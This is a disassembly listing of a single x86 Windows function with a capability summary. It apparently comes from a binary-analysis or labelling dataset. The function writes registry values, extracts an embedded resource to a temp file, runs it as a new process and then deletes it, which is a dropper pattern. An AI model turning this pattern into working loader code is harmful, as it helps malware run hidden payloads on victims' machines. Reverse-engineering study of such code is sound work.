Function at 0x4014a0
Capabilities:
Create process on windows
Delete file
Extract resource via kernel32 functions
Get common file path
Set registry value
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x680
push ebx
push ebp
push esi
xor ebp, ebp
push edi
push ebp
push 0x4d4
call fcn.00401000
lea ecx, [esp + 0x18]
lea edx, [esp + 0x2c]
push ecx
push edx
lea ecx, [esp + 0x30]
lea edx, [esp + 0x2c]
push ecx
push edx
lea ecx, [esp + 0x2c]
lea edx, [esp + 0x30]
push ecx
push edx
push eax
mov dword [esp + 0x3c], ebp
mov dword [esp + 0x38], ebp
mov dword [esp + 0x44], ebp
mov dword [esp + 0x48], ebp
mov dword [esp + 0x40], ebp
mov dword [esp + 0x34], ebp
call fcn.00401160
mov eax, dword [esp + 0x48]
mov ecx, dword [esp + 0x44]
add esp, 0x24
lea edx, [esp + 0x290]
push eax
push ecx
push str.Software_s_s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [esp + 0x30]
lea ecx, [esp + 0x28]
lea edx, [esp + 0x290]
push eax
push ecx
push ebp
push 0xf003f
push ebp
push ebp
push ebp
push edx
push 0x80000001
mov dword [esp + 0x54], ebp
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
xor esi, esi
cmp dword [esp + 0x10], ebp
jle 0x401581
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x14]
or ecx, 0xffffffff
mov edx, dword [eax + esi*4]
xor eax, eax
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, dword [esp + 0x18]
not ecx
push ecx
mov ecx, dword [esp + 0x20]
push edx
mov edx, dword [ecx + esi*4]
mov ecx, dword [eax + esi*4]
push edx
mov edx, dword [esp + 0x34]
push ebp
push ecx
push edx
call ebx
inc esi
cmp esi, dword [esp + 0x10]
jl 0x40154e
mov eax, dword [esp + 0x28]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x1c]
cmp eax, ebp
je 0x40159d
push eax
call fcn.00401730
add esp, 4
cmp dword [esp + 0x18], ebp
je 0x4015c6
mov eax, dword [esp + 0x10]
xor esi, esi
cmp eax, ebp
jle 0x4015c6
mov ecx, dword [esp + 0x18]
mov edx, dword [ecx + esi*4]
push edx
call fcn.00401730
mov eax, dword [esp + 0x14]
add esp, 4
inc esi
cmp esi, eax
jl 0x4015ad
cmp dword [esp + 0x14], ebp
je 0x4015ef
mov eax, dword [esp + 0x10]
xor esi, esi
cmp eax, ebp
jle 0x4015ef
mov eax, dword [esp + 0x14]
mov ecx, dword [eax + esi*4]
push ecx
call fcn.00401730
mov eax, dword [esp + 0x14]
add esp, 4
inc esi
cmp esi, eax
jl 0x4015d6
mov eax, dword [esp + 0x20]
cmp eax, ebp
je 0x401600
push eax
call fcn.00401730
add esp, 4
mov eax, dword [esp + 0x24]
cmp eax, ebp
je 0x401611
push eax
call fcn.00401730
add esp, 4
push 0x4d2
push 0x4d3
push ebp
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov edi, eax
call esi
cmp edi, ebp
je 0x40171f
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
call esi
cmp ebx, ebp
je 0x40171f
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
call esi
push edi
push ebp
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
call esi
lea edx, [esp + 0x18c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
lea eax, [esp + 0x88]
lea ecx, [esp + 0x18c]
push eax
push ebp
push 0x407040
push ecx
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
push ebp
push 0x100
push 2
push ebp
push ebp
lea edx, [esp + 0x9c]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, ebp
je 0x40171f
lea eax, [esp + 0x2c]
push ebp
push eax
push edi
push ebx
push esi
mov dword [esp + 0x40], ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x48]
lea edx, [esp + 0x44]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x34]
lea eax, [esp + 0x88]
push ecx
push edx
push ebp
push ebp
push 0x20
push ebp
push ebp
push ebp
push ebp
push eax
mov dword [esp + 0x6c], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x401711
mov ecx, dword [esp + 0x34]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea edx, [esp + 0x88]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x680
ret 0x10